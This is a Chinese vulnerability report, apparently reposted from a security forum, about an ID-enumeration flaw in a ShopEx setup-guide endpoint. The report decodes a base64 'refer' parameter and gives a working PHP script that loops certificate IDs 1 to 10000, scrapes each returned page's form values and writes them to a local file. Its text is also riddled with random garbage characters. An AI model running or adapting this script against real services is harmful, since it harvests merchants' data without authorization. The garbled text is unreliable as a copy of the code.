|
简要描述:6 V( p" R+ Y; J. O2 P
ShopEx某接口缺陷,可遍历所有网站
) w; u: x8 d6 @4 ~1 e8 p# _详细说明:
4 p( J: p! @* _4 B+ w$ F问题出现在shopex 网店使用向导页面
+ N. r+ }& e( J* |) c0 b% P/ E; [
% @, }6 \" s0 P/ j( U
( E2 K$ U2 W" y7 q
( b3 U L+ ]1 t: {http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=' @6 B' M; P( {2 G
% U$ ^0 g$ o, J
' N! q! Y( i: `- Z
' G3 c6 ]9 m8 e0 r7 v! f8 [ krefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% |( h/ i2 h: f! ?1 p2 y" K, g( j# c4 [0 d! B
/ c" [3 t( n* Z( I7 Y/ |& P
& O5 i& z- k) I: C- N
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 : ?. Z5 E k6 i& B, I B( D
6 u6 s) ?! {- G4 E, Z7 V: L4 i
$ |% Y i g4 x0 m% [$ U \
; x9 T% u% @5 b' C- G* ^' D) d<?php
/ t$ _/ f3 K, @9 S, {! f. H6 E" j. t) A9 m+ U2 f
for ($i=1; $i < 10000; $i++) { //遍历/ |8 x* Q* t5 |, S, S. e4 j9 Z" q
7 D1 A* @1 J# C( t5 z K. m ShowshopExD($i);; [, g4 V& U- {9 W
1 d! L, y% J2 R }
$ c2 e P! H9 n
+ ]! h. n* Y U% H7 Y6 o function ShowshopExD($cid) {
; _; @. W: G6 h! `. Q! p
z* U5 j1 d! x l, f4 { $url='http://guide.ecos.shopex.cn/step2.php';7 j$ l( q1 S8 _
9 \& P. Z+ h. o. K0 r& q $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');; M4 q i. z% C
/ Y) c* {/ k3 ^1 A) z% C8 {( L, a $url = $url.'?refer='.$refer;' E/ k, y5 ~: x3 H" l2 k# o
0 J0 K$ u g) b+ T) U1 L $ch = curl_init($url);
# D1 l) t/ X# F! S3 |& f2 v9 [ d) d7 o+ g. b, K5 | O8 i
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
m" Y. j& K8 I6 C6 B3 i$ U4 A2 i
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
+ I% |6 x) D5 e+ U& l8 J) D. y2 w' Z0 \1 ?2 [. q( V
$result = curl_exec($ch);9 ~6 B F' s, w- C
( ]2 [4 K0 F( t' r" M $result = mb_convert_encoding($result, "gb2312", "UTF-8");" I/ F m- ~5 S6 `' Y6 l. R
6 y9 D+ I) N0 o0 ?+ j- G) e2 o* O @! p if(strpos($result,$refer))
* T$ d' h) T1 C5 h
/ s- k+ w, Q$ N& ~* Q% i {$ b+ u k# G/ a8 D
( T& X4 R/ w$ h) e6 K( ?5 ]1 h $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
8 y: d, y+ q5 f+ I: p+ d* o) W' }% D
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);) A- _9 o& a% ^3 s$ s" P8 W
0 B; t0 I1 O' x: ~1 k5 T: |
foreach ($value[1] as $key) {) ?! ]% _- D/ `6 D
8 W, T6 o4 ~9 f! ^ preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
, b1 Z" U Y9 N D% @# t; B7 O0 A. k+ j- `9 n$ _
echo $res[1][0].':'.$res[3][0]."\r\n";
* l0 n! I$ @) }
5 o3 f7 Y. R# a" z* b $col =$res[1][0].':'.$res[3][0]."\r\n"; * [! y: i( K8 I, w, u2 c3 X! ~
8 t8 p0 ?8 z& o, G0 F! @
fwrite($fp, $col, strlen($col));
5 D5 |8 v4 D( y( @% m' W" L1 }- |2 `3 n! {, ]( Y& P) `; R N
}: ^/ z; l' v q% }# g) K& a0 q% R
4 Y) U/ m+ W$ X R echo '--------------------------------'."\r\n";
8 q4 Y+ c* R+ m4 f0 x( J' S3 f# F L* q4 s
fclose($fp);
7 t% I* w. L) l* h. h7 t: N+ _, ?# d5 X
}
1 z& `9 ]1 T7 f2 ~6 Y- Y8 J3 W, C8 `3 t/ W3 b3 P
flush();
/ {$ v: I! b& |* g M! F' L5 n& |% I( W0 d* x6 t8 V' ~
curl_close($ch);# E/ R$ R2 `' C# E- V4 e# U) o. t
$ B k" p3 F8 D6 i. {+ R; U! p9 n
}4 h) n$ K+ w8 W1 ] x4 j. W
8 L# @5 P' _) f5 a G. W
?>
1 ?! v* s% `$ K5 s+ l漏洞证明:3 \% C: ~& T7 V: V/ L; R
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg; \. I8 G+ A+ f. s! i8 p
refer换成其他加密方式: f5 G+ \8 E$ o/ e4 q
|
|